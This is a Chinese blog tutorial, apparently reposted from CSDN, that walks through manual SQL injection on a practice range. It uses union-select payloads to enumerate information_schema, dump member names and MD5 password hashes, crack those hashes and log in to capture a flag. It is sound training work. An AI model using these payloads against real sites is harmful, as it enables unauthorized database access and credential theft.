前言
在上篇文章中我们介绍了SQL注入漏洞,并且用简单的php代码,介绍了SQL注入漏洞可能出现的情况和原理。这篇文章就让我们通过实战来感受一下SQL注入。
实战感受SQL注入
墨者学院手工SQL注入
点击WEB安全,点击SQL注入
我们使用墨者学院的SQL手工注入漏洞测试(MySQL数据库),点击启动靶场环境
访问下方给的IP和端口,或点击 [点击访问]
点击关于平台停机维护
跳转页面后,我们看地址栏中又?id,该处通过GET参数传递
我们在此处可以使用让其出错的方式验证,尝试验证此处参数是否传入后台,并代入数据库查询
在?id=1后面输入 and 1=2
发现页面显示出错,说明此处的参数是有被传入后台并且代入数据库查询
- 在上篇文章中我们说过不仅可以使用 and 1=2的方式来检测,只要让其出错即可,所以我们在?id=1后面随便输入sdagwogsosn也是ok的
- 详细请参见上篇文章:SQL注入简介及原理
在SQL注入中很经常使用union查询来查询我们想要的信息,但是基于数据库的只是,我们知道当我们使用SQL语句进行查询的时候需要知道有几个字段。
但问题是我们此时进行的是黑盒测试,也就是我们并不知道数据库的结构是什么样子的,那么此时我们该怎么办呢?
在SQL注入中很经常使用order by猜测有几个字段
- order by [n]
- order by 1
- order by 2
- …
- 直到页面回显不正常,此时我们就能够得知有n-1个字段
我们回到实战中, 我们在?id后面输入 order by 4
发现页面是正常回显,再次在?id后面输入 order by 5
此时发现页面回显不正常,说明字段数就为5-1=4个
当我们知道了字段数之后就可以使用联合查询(union)
由于我们已经知道了有四个字段,所以直接就可以在?id=1后面加上 union select 1,2,3,4
- 我们猜测他在代码中所写的语句应该是如下:
$id = $_GET["id"];$sql = "select [四个字段] from [表] where id=$id";
这里的$id就是我们通过GET方式传入的参数
- 如果当我们传入?id=1 union select 1,2,3,4完整的SQL语句为:
select [四个字段] from [表] where id=1 union select 1,2,3,4
发现页面回显正常,紧接着我们使union前的语句为假
- 可以改变id=-1
- 也可以在id=1后面加上and 1=2
- 这里我使用id=-1的方式
我们发现页面回显了2和3。我们可以在union语句后的2和3处填入我们想要查询的信息
- version():数据库版本
- database():数据库的名字
- user():数据库的用户
- @@version_compile_os:操作系统
将2和3的位置上填入version()和database()
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hdfoAM4f-1679114292375)(null)]
发现返回了数据库版本和数据库的名称
再在2和3的输入user()和@@version_compile_os
得到信息:
- 数据库版本:5.7.22-0ubuntu0.16.04.1
- 数据库名:mozhe_Discuz_StormGroup
- 操作系统:Linux
- 数据库的用户名:root@localhost
当我们拿到这些信息之后可以有进一步的操作,我们可以通过拿到的数据库名进行查看该数据库下的表名
- 在MySQL中有一些MySQL自带的表,这些表中储存了数据库的一些信息
- information_shchema中的tables中储存了数据库中的各个表名,并且其存储表名的列名为table_name
我们可以在?id=-1后面输入union select 1,table_name,3,4 from information_schema.tables where table_schema = 'mozhe_Discuz_StormGroup'
- 被代入SQL语句为:
select table_name from information_schema.tables where table_schema = 'mozhe_Discuz_StormGroup'
页面中返回了表名,这里只能输出了一个表名,但是不代表这个数据库下只有一张表
我们可以使用group_concat()让其输出所有的表名
在?id=-1后面输入union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = 'mozhe_Discuz_StormGroup'
- SQL语句为:
select group_concat(table_name) from information_schema.tables where table_schema = 'mozhe_Discuz_StormGroup'
我们发现将该数据库下的表名都输出了
- StormGroup_member
- notice
当我们使用SQL语句进行查询的时候,需要知道表名外还需要知道列名,举个很简单的例子
- select username from user
- 上面的SQL语句中我们需要知道user这个表名,此外我们还需要知道username这个列名
所以当我们拿到表名之后,紧接着我们就需要知道列名,才能查询到我们想要的信息
- information_shcema中的columns存储了各个表中的列名,并且其存储列名的列名为column_name
回顾刚才我们查找到的数据库名,根据数据库名的意思我们发现StormGroup_member存放的应该是用户的信息,更具有价值所以我们优先查询StormGroup_member下的列名信息
在?id=-1后面输入union select 1,column_name,3,4 from information_schema.columns where table_name = 'StormGroup_member'
- SQL语句为:
select column_name from information_schema.columns where table_name = 'StormGroup_member'
我们发现其也只输出了一个列名,所以我们依然可以使用group_concat()让其输出所有的列名
在?id=-1后面输入union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = 'StormGroup_member'
- SQL语句为:
select group_concat(column_name) from information_schema.columns where table_name = 'StormGroup_member'
页面回显除了StormGroup_member表下所有的列名
到此我们就可以使用这些列名查询相关的信息了,我们查询name和password
在?id=-1后面输入union select 1,group_concat(name),group_concat(password) from StormGroup_member
- 我们知道group_concat()是用来输出所有的数据的,同样我们们也可以使用limit
union select 1,name,password,4 from StormGroup_member limit 0,1
- 0代表从第一个开始
- 1代表输出一个
union select 1,name,password,4 from StormGroup_member limit 1,1
- 1代表从第二个开始
- 1代表输出一个
union select 1,name,password,4 from StormGroup_member limit 2,1
- 2代表从第三个开始
- 1代表输出一个
- …
- 直到返回异常则表示,没有数据了(到底了)也就是没有数据了
- 通过此方法也可以输出数据
我们使用group_concat()的方法
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uvpY9maW-1679114292387)(null)]
发现输出了用户名和密码,我们使用其中一组尝试登录
发现错误,这时我们想到可能是密码进行了加密,这个加密的方式我们可以看出是md5加密,于是我们访问md5加密解密的网站
搜索md5解密即可
将刚才得到的md5进行解密,得到了密码dsan13
再次返回刚才的登录界面,尝试登陆
发现用户被禁用或不存在用户,不过没关系,刚才我们在获取用户名密码的时候有两组,我们使用另一组,对另一组的密码进行md5解密,再次尝试登录
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FXJ2ZW7a-1679114288267)(null)]
成功进入后台,并且拿到了KEY
复制KEY之后返回刚才进入靶场的界面,点击提交KEY
将刚才的KEY复制进去点击确定
弹窗左下角显示KEY正确即为成功
知识点总结
MySQL中的系统库
库:
- information_shcema
表:
这些库都是在information_schema库中,information_shcema.tables的意思就是information_schema库下的tables表
- tables:存放数据库中的表信息
- columns:存放各表中的列名信息
列名:
- table_name:tables表中存放表名的列名
- column_name:columns表中存放各个表中列名的列名
MySQL中的一些特殊列
- version():数据库版本
- database():数据库的名字
- user():数据库的用户
- @@version_compile_os:操作系统
结束语
到此,你就完成了第一次靶场的练习,你感受了SQL手工注入。
希望本文能够帮助到你 😃
本文已同步更新至个人博客:https://www.hibugs.net/security/vulnerability/sql-insert/lamar/sql-insert-hdwrk
来源地址:https://blog.csdn.net/qq_45477063/article/details/129635255